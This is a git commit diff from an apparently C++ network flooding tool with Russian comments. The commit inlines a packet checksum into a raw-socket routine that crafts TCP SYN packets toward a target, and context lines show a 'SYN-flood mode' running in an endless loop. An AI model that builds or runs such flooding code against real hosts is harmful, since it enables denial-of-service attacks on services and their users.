chore: delete check_sum function
check_sum function logic moved into tcp_syn
This commit is contained in:
parent
733b5b6486
commit
775fb4cbd8
|
@ -364,39 +364,6 @@ int my_dns()
|
|||
}
|
||||
|
||||
|
||||
unsigned short checksum(void *data, int len) {
|
||||
/**
|
||||
* Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071)
|
||||
*
|
||||
* Параметры:
|
||||
* data - указатель на данные пакета
|
||||
* len - длина данных в байтах
|
||||
*
|
||||
* Возвращает:
|
||||
* 16-битную инвертированную контрольную сумму
|
||||
*/
|
||||
// === Объявление локальных переменных ===
|
||||
uint16_t *ptr; // Указатель для чтения 16-битных слов
|
||||
unsigned long sum; // Аккумулятор для суммы
|
||||
uint8_t *byte_ptr; // Указатель для чтения одиночного байта
|
||||
// === Инициализация переменных ===
|
||||
ptr = (uint16_t *)data; // Инициализируем указатель на данные
|
||||
sum = 0; // Начальное значение суммы
|
||||
// === Основная логика процедуры ===
|
||||
// Суммируем 16-битные слова
|
||||
while (len > 1) {
|
||||
sum += *ptr++; // Добавляем текущее слово и перемещаем указатель
|
||||
len -= 2; // Уменьшаем счетчик оставшихся байт
|
||||
}
|
||||
if (len == 1) { // Если остался непарный байт, добавляем его в сумму
|
||||
byte_ptr = (uint8_t *)ptr;
|
||||
sum += *byte_ptr;
|
||||
}
|
||||
sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток)
|
||||
return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму
|
||||
}
|
||||
|
||||
|
||||
void my_tcp_syn() {
|
||||
/*
|
||||
* Отправляет TCP SYN запрос на указанный IP и порт
|
||||
|
@ -415,11 +382,11 @@ void my_tcp_syn() {
|
|||
struct sockaddr_in target_addr; // Адрес цели
|
||||
|
||||
// Параметры подключения
|
||||
uint16_t target_port = 0; // Порт цели (в сетевом порядке байт)
|
||||
|
||||
// Структуры заголовков
|
||||
uint16_t target_port; // Порт цели (в сетевом порядке байт)
|
||||
// Структуры заголовков
|
||||
struct iphdr ip_header; // IP-заголовок пакета
|
||||
struct tcphdr tcp_header; // TCP-заголовок пакета
|
||||
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
|
||||
|
||||
// Псевдозаголовок для контрольной суммы
|
||||
struct {
|
||||
|
@ -432,7 +399,10 @@ void my_tcp_syn() {
|
|||
|
||||
// Буферы данных
|
||||
char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
|
||||
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
|
||||
uint16_t *checksum_ptr;
|
||||
unsigned long checksum_sum;
|
||||
uint8_t *checksum_byte_ptr;
|
||||
int checksum_len;
|
||||
|
||||
// === Инициализация переменных ===
|
||||
sock = -1;
|
||||
|
@ -452,7 +422,7 @@ void my_tcp_syn() {
|
|||
// 3. Настройка адреса цели
|
||||
memset(&target_addr, 0, sizeof(target_addr));
|
||||
target_addr.sin_family = AF_INET;
|
||||
inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0
|
||||
inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr);
|
||||
|
||||
// 4. Формирование IP заголовка
|
||||
memset(&ip_header, 0, sizeof(ip_header));
|
||||
|
@ -483,7 +453,24 @@ void my_tcp_syn() {
|
|||
};
|
||||
memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header));
|
||||
memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
|
||||
tcp_header.check = checksum(temp_buf, sizeof(temp_buf));
|
||||
|
||||
// Расчет контрольной суммы
|
||||
checksum_ptr = (uint16_t *)temp_buf;
|
||||
checksum_sum = 0;
|
||||
checksum_len = sizeof(temp_buf);
|
||||
|
||||
while (checksum_len > 1) {
|
||||
checksum_sum += *checksum_ptr++;
|
||||
checksum_len -= 2;
|
||||
}
|
||||
|
||||
if (checksum_len == 1) {
|
||||
checksum_byte_ptr = (uint8_t *)checksum_ptr;
|
||||
checksum_sum += *checksum_byte_ptr;
|
||||
}
|
||||
|
||||
checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF);
|
||||
tcp_header.check = (unsigned short)(~checksum_sum);
|
||||
|
||||
// 7. Сборка пакета
|
||||
memcpy(packet, &ip_header, sizeof(iphdr));
|
||||
|
@ -599,7 +586,7 @@ int main(int argc, char **argv)
|
|||
case 2: // Режим SYN-флуда (TCP)
|
||||
// Аналогичная логика как для UDP-режима
|
||||
dns_status = my_dns();
|
||||
|
||||
printf("begin TCP SYN\n");
|
||||
if (dns_status == 0)
|
||||
{
|
||||
while (true)
|
||||
|
|
Loading…
Reference in New Issue